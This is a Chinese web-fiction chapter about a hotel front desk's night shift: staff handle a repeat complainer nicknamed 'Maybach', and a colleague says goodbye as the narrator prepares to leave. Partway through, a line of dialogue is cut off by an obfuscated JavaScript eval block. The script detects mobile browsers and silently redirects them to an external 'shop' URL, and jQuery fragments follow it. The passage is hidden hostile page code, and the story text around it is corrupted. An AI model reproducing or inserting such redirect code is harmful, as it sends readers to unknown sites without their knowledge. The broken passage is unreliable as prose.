晚上九点，林深到前台的时候，Jason已经在了。他坐在电脑前吃饭团，女实习生在旁边核对预抵，男实习生坐在另一台电脑前，一脸严肃地看系统。林深把包放下。
“今天这么认真？”
男实习生抬头。
“我在看备注。”
Jason咬了一口饭团。
“他发现了酒店文学。”
女实习生忍不住笑。林深走过去，看了一眼系统。一排预抵名单里，有个客人的备注特别长——特殊关注。投诉风险。需核实房间状态。曾因下雨管道声音投诉。需优先安排安静房。涉及Tom。林深愣了一下。
“迈巴赫？”
Jason点点头。
“老朋友。”
女实习生立刻抬头。
“就是那个要道歉信的？”
“嗯。”
“他还来？”
Jason把饭团咽下去。
“骂得最凶，回来最快。”
男实习生看着备注。
“他为什么叫迈巴赫？”
Jason看了他一眼。
“因为他开迈巴赫。”
男实习生认真点头。
“哦。”
Jason停了一秒。
“你就这么接受了？”
“备注写了。”
Jason低头看屏幕。
“你终于学会看字了。”
晚上十点半，自动门打开。迈巴赫客人走进来，还是那张脸，还是那个表情，身后跟着司机，推着行李箱。Jason站起来，露出标准笑容。
“先生晚上好。”
客人看了他一眼，明显也认出来了。
“又是你。”
“是我。”
林深站在旁边，低头看电脑。女实习生坐得笔直，像在现场观摩酒店传说。男实习生也不发呆了，眼睛一直往这边瞟。Jason接过身份证，办理入住。
“给您安排了安静房型，远离电梯。”
客人嗯了一声。
“这次不要有声音。”
Jason手停了一下。
“我尽量。”
客人抬头。Jason补了一句。
“下雨这件事，我不保证。”
林深差点笑出来。客人看了Jason两秒，没接话。房卡做好，Jason双手递过去。
“祝您入住愉快。”
客人拿过房卡，往电梯走。电梯门关上以后，女实习生才慢慢呼出一口气。
“我刚刚好紧张。”
Jason坐回去。
“你紧张什么？”
“怕他让你写道歉信。”
Jason咬了一口饭团。
“这次我写不了。”
“为什么？”
“没带感情。”
男实习生想了想。
“上次带了吗？”
Jason看了他一眼。
“上次带了怨气。”
凌晨一点，电话响了。所有人同时看过去。Jason接起来。
“前台您好。”
电话那头不知道说了什么，Jason沉默两秒。
“好的，先生，马上给您送上去。”
挂断电话。女实习生紧张。
“怎么了？”
Jason站起来。
“要枕头。”
女实习生松了口气。
“还好。”
Jason拿起对讲机叫客房。
“别放松太早。”
枕头送上去以后，客人没有再打电话。大厅重新安静下来。
凌晨两点多，Jason开始给两个实习生讲迈巴赫的完整故事——从下雨，到下水管，到房费减半，到道歉信，到Tom中午被电话骂，到客人说要把迈巴赫开到酒店门口。女实习生听得目瞪口呆。
“他真的说要打Tom哥？”
“嗯。”
“Tom哥怎么说？”
Jason想了想。
“Tom说，停车费自理。”
林深笑出了声。男实习生很认真。
“那他开了吗？”
Jason看着他。
“你希望他开吗？”
男实习生沉默了几秒。
“不希望。”
“为什么？”
“停车费贵。”
Jason点点头。
“你终于开始从酒店角度思考问题了。”
凌晨三点半，迈巴赫客人从电梯里出来。四个人同时安静。客人走到前台。
“明天续住。”
Jason抬头。
“好的，先生。”
“行李还在房间。”
“好的。”
“人不一定回来。”
Jason手停了一下，林深也抬头看了一眼。客人像是没觉得哪里不对，继续说。
“房间先给我留着。”
Jason看着他。
“先生，续住房间保留，会正常计费。”
客人皱眉。
“我知道。”
Jason点点头。
“好的。”
系统里续住很快办好。客人转身上楼。等电梯门关上，女实习生小声问。
“他说人不一定回来是什么意思？”
Jason靠回椅子上。
“意思是Tom明天有活了。”
男实习生问。
“为什么是Tom？”
Jason说。
“因为明天早班。”
女实习生说。
“可客人自己说续住了。”
“是。”
“房间也给他保留了。”
“是。”
“行李也在。”
“是。”
“那为什么会有活？”
Jason看着她。
“因为他明天可能会说，他没住。”
女实习生愣住。
“还能这样？”
Jason点点头。
“酒店是个包容性很强的地方。”
林深低头笑了一下。Jason看了她一眼。
“你笑什么？”
“没什么。”
“你马上就跑了，当然笑得出来。”
这句话出来，前台突然安静了一下。女实习生看向林深，男实习生也看向林深。林深低头看着电脑，过了一会儿。
“后天。”
Jason嗯了一声。
“知道。”
他低头继续看系统，像刚才那句话只是顺口。
凌晨四点半，外面开始起风。玻璃门偶尔晃一下，大厅没人。女实习生坐在椅子上犯困，男实习生还在研究迈巴赫的备注。Jason起身去员工餐厅，回来的时候手里拿了两个饭团。一个放在自己桌上，另一个扔给林深。林深接住。
“干嘛？”
“库存清理。”
“你自己的库存？”
“酒店最后的温暖。”
林深低头看着饭团，笑了一下。
“谢谢。”
Jason坐下。
“别感动。”
“没有。”
“感动也没用。”
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17953934|207913||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
真没有。”
Jason撕开包装。
“你走以后，客人投诉我就没人笑了。”
女实习生立刻抬头。
“我可以笑。”
Jason看了她一眼。
“你那是害怕。”
男实习生说。
“我也可以笑。”
Jason说。
“你笑之前先记住房号。”
男实习生闭嘴了。林深咬了一口饭团，味道很普通，和以前每一次夜班吃到的饭团都差不多。不知道为什么，今天反而有点吃不下。
八点多的时候，Tom提前来了。刚进前台，Jason就开口。
“你老朋友来了。”
Tom停住。
“谁？”
“迈巴赫。”
Tom沉默了一秒。
“我今天就不该来。”
Jason把系统页面转给他看。
“续住了。”
Tom低头看。
“人呢？”
“说不一定回来。”
Tom闭了闭眼。
“行李呢？”
“在房间。”
Tom点点头。
“我知道了。”
Jason拍了拍他的肩膀。
“交给你了。”
Tom看着他。
“你怎么这么高兴？”
Jason说。
“因为我下班。”
Tom冷笑了一声。
“你迟早回来加班。”
Jason立刻摆手。
“别咒我。”
早上九点，夜班差不多结束。Tom去处理邮件，女实习生去整理交接本，男实习生终于把迈巴赫备注看完了，抬头问。
“这个客人以后还会来吗？”
Jason背上包。
“会。”
女实习生问。
“为什么？”
Jason想了想。
“因为他爱这里。”
男实习生认真问。
“爱什么？”
Jason走到员工通道门口。
“爱投诉。”
女实习生笑了，男实习生也笑。林深坐在前台，看着Jason往外走。他走了几步，又停下来，回头看她。
“工牌别丢。”
“知道。”
“饭团别吃过期的。”
林深笑了一下。
“知道。”
Jason看着她，像还想说什么，最后只是抬了抬手。
“走了。”
林深也抬了一下手。
“嗯。”
Jason推开员工通道的门。门快关上的时候，他又探了半个脑袋回来。
“以后迈巴赫再来，记得告诉我。”
女实习生看着他。
“为什么？”
Jason想了想。
“老朋友。”
说完，他终于走了。员工通道的门关上，大厅重新安静下来。女实习生站在旁边，小声说。
“Jason哥是不是舍不得你？”
林深看着电脑屏幕，过了几秒。
“他舍不得迈巴赫。”
女实习生笑了，男实习生也笑。外面天亮了，玻璃门外有人拖着行李箱进来。Tom从办公室探出头。
“林深。”
“嗯？”
“迈巴赫说下午回来结账。”
前台安静了一秒。林深看着Tom，Tom看着林深。过了一会儿，林深低头笑了。酒店还在继续，只是Jason已经下班了。